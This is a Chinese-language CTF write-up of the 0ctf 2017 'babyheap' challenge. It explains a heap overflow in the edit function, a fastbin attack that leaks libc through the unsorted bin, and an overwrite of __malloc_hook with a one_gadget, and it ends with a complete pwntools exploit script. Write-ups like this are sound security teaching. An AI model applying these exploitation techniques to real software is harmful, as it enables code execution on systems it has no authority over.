栈溢出|0ctf babyheap

这个题一开始 不知道是怎么回事
然后这个程序开了 保护全开基址随机化这就要我们自己把libc的基址给泄露出来
泄露的方法我知道的是把堆 free到 unsortbin的fd和bk指向自身main_arena然后可以根据 main_arena 的偏移 搞出libc 库
道理都懂 但是怎么做 就不好说了现在这里就有一道题
栈溢出|0ctf babyheap
文章图片

典型的菜单题然后 看一下大概内容 有没有什么漏洞点
栈溢出|0ctf babyheap
文章图片

calloc 这个函数有两个参数 一个是 大小 一个是 长度二者相乘 就是要申请的大小
然后calloc 这个函数还会把我们申请的地方自动清空 这里好像没有什么问题 我们去看其它函数的作用
栈溢出|0ctf babyheap
文章图片

这里 有一个 溢出点 就是他输入的要修改的堆块大小 是我们自己修改的大小 那么我们可以无限修改了
栈溢出|0ctf babyheap
文章图片

这里好像也没有什么溢出点 栈溢出|0ctf babyheap
文章图片

好吧 现在就知道了一个溢出点但是怎么利用呢如果我们能够泄露出 libc库 那么就很好利用这个程序了
问题就在于 怎么泄露 一开始没有想到什么好的方法然后参考了这个链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#2017-0ctf-babyheap
然后发现这个这个思路真的好用修改fd指针 让 heap[2]的指针指向 heap[4]的指针 然后泄露就可以了
这里由于堆块申请对齐 所以index[4]的堆块起始地址必定是 0x80
那么我们就可以payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
然后edit(0,len(payload),payload)那么 fd 也就指向了 堆块4
栈溢出|0ctf babyheap
文章图片

【栈溢出|0ctf babyheap】栈溢出|0ctf babyheap
文章图片

可以看到已经指向了第四个堆块那么那我再修改第三个 让 堆块四的大小是0x21然后再add两个堆块 0x10
然后heap[2] 就指向了4号堆块那么 我们就胜利了 一半我们接下来是 想办法让4号堆块 进入unsort bin
引用wiki 的原话 就是 所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中
然后我们修改3 让 他的大小是0x91然后 再在后面申请一个 chunk然后然后free了 4然后 再打印2号的内容就可以get到了

main_arena

然后就是hook malloc函数找 one_gadget_addr 就只能根据库去找
然后其他就没有什么了
下面是根据wiki写的脚本
from pwn import *context.log_level = "debug" io=process("./babyheap") elf=ELF("./babyheap")def add(size): io.recvuntil('Command: ') io.sendline("1") io.recvuntil("Size: ") io.sendline(str(size))def edit(index,size,content): io.recvuntil('Command: ') io.sendline("2") io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content: ") io.sendline(content)def dele(index): io.recvuntil('Command: ') io.sendline("3") io.recvuntil("Index: ") io.sendline(str(index))def show(index): io.recvuntil('Command: ') io.sendline("4") io.recvuntil("Index: ") io.sendline(str(index))if __name__ =="__main__": add(0x10) add(0x10) add(0x10) add(0x10) add(0x80) dele(2) dele(1) payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80) edit(0,len(payload),payload) payload = 0x10 * 'a'+ p64(0) + p64(0x21) edit(3,len(payload),payload) add(0x10) add(0x10) payload= 0x10 * 'a'+p64(0)+p64(0x91) edit(3,len(payload),payload) add(0x80) dele(4) show(2) io.recvuntil('Content: \n') unsort_addr=u64(io.recv(8)) main_arena =unsort_addr-88 libcbase_addr =main_arena -0x3C4B20 add(0x60) dele(4) fake_chunk_addr=main_arena-0x33 payload=p64(fake_chunk_addr) edit(2,len(payload),payload) add(0x60) add(0x60) one_gadget_addr = libcbase_addr + 0x4526a payload = 0x13 * 'a' + p64(one_gadget_addr) edit(6,len(payload),payload) add(0x90) #gdb.attach(io) io.interactive() io.close()




    推荐阅读